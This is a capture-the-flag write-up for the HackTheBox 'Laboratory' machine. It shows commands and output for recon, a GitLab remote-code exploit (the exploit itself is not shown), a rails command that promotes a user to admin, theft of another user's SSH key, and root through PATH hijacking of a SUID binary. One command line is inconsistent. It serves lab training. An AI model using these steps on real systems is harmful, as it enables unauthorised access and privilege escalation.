HackTheBox - Laboratory write up
4 min read

HackTheBox - Laboratory write up

HackTheBox - Laboratory write up

Laboratory is a Linux Easy box.

Recon

As always let's start with an nmap scan :

$ nmap -A -p -1024 -oN scan.nmap 10.10.10.216

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
|   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://git.laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 57 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-server-header: 
|   Apache/2.4.41 (Ubuntu)
|_  nginx
|_http-title: Did not follow redirect to http://git.laboratory.htb/users/sign_in
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
| tls-alpn: 
|_  http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

As you can see, three ports are open. The port 80 redirect us to 443.

Web

There is the webpage :

https://laboratory.htb/index.html

The HTTPS certificate is not verified, if we inspect it we can see an other domain : git.laboratory.htb
Let's add it to our /etc/hosts file :

10.10.10.216 git.laboratory.htb laboratory.htb
/etc/hosts

Let's visit the git subdomain :

https://git.laboratory.htb/

Oh ! It is a gitlab, let's try to register an account, with toto@toto.com as email address.

Email domain not authorized

Humm interesting, let's try to create an account with toto@laboratory.htb. Its works ! Now, we need to know the Gitlab version to find some CVE.

https://git.laboratory.htb/help

This version is vulnerable ! I try this exploit from Github but I get some errors. Then, I edit the script to fix it and we now have a shell as git user !

User

After hours of linux enumeration I didn't find anything on the docker (Gitlab was running in a docker). So, I change my gitlab user to admin, maybe some administrators have credentials in their repositories.

$ gitlab-rails runner "user = User.find_by(email: 'toto@laboratory.htb'); user.admin = TRUE; user.save!"
Change my user to admin

I have access to the admin gitlab panel and find two admin users, the first one is not interesting but the other named Dexter have a private SSH key in his securedocker repository.

$ ssh -i id_rsa dexter@laboratory.htb
dexter@laboratory:~$ 

Yes !!! This time we are on the real machine (not the docker) and we have the user.txt flag.

Root

It's time to go root ! After enumerating the box, I found one SUID binary.

$ ls -al /usr/local/bin/docker-security
-rwsr-xr-x 1 root dexter 16720 Aug 28 14:52 /usr/local/bin/docker-security

Moreover, there was a todo.txt file in the securedocker repo that mentioned docker security.

# DONE: Secure docker for regular users
### DONE: Automate docker security on startup
# TODO: Look into "docker compose"
# TODO: Permanently ban DeeDee from lab
todo.txt

Go inspect this binary :

$ ltrace /usr/local/bin/docker-security
setuid(0)                                                                                                                                          = -1
setgid(0)                                                                                                                                          = -1
system("chmod 700 /usr/bin/docker"chmod: changing permissions of '/usr/bin/docker': Operation not permitted
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                                                             = 256
system("chmod 660 /var/run/docker.sock"chmod: changing permissions of '/var/run/docker.sock': Operation not permitted
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                                                             = 256
+++ exited (status 0) +++

As you can see the binary run the chmod command without the full path. Let's exploit this by creating a malicious chmod command and altering our PATH.

dexter@laboratory:/tmp$ cat chmod
#!/bin/bash

bash
dexter@laboratory:/tmp$ chmod +x bash
dexter@laboratory:/tmp$ export PATH=/tmp:$PATH
dexter@laboratory:/tmp$ which chmod
/tmp/chmod
dexter@laboratory:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/snap/bin
dexter@laboratory:/tmp$ /usr/local/bin/docker-security
root@laboratory:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1000(dexter)

We are root !!!

Enjoying these posts? Subscribe for more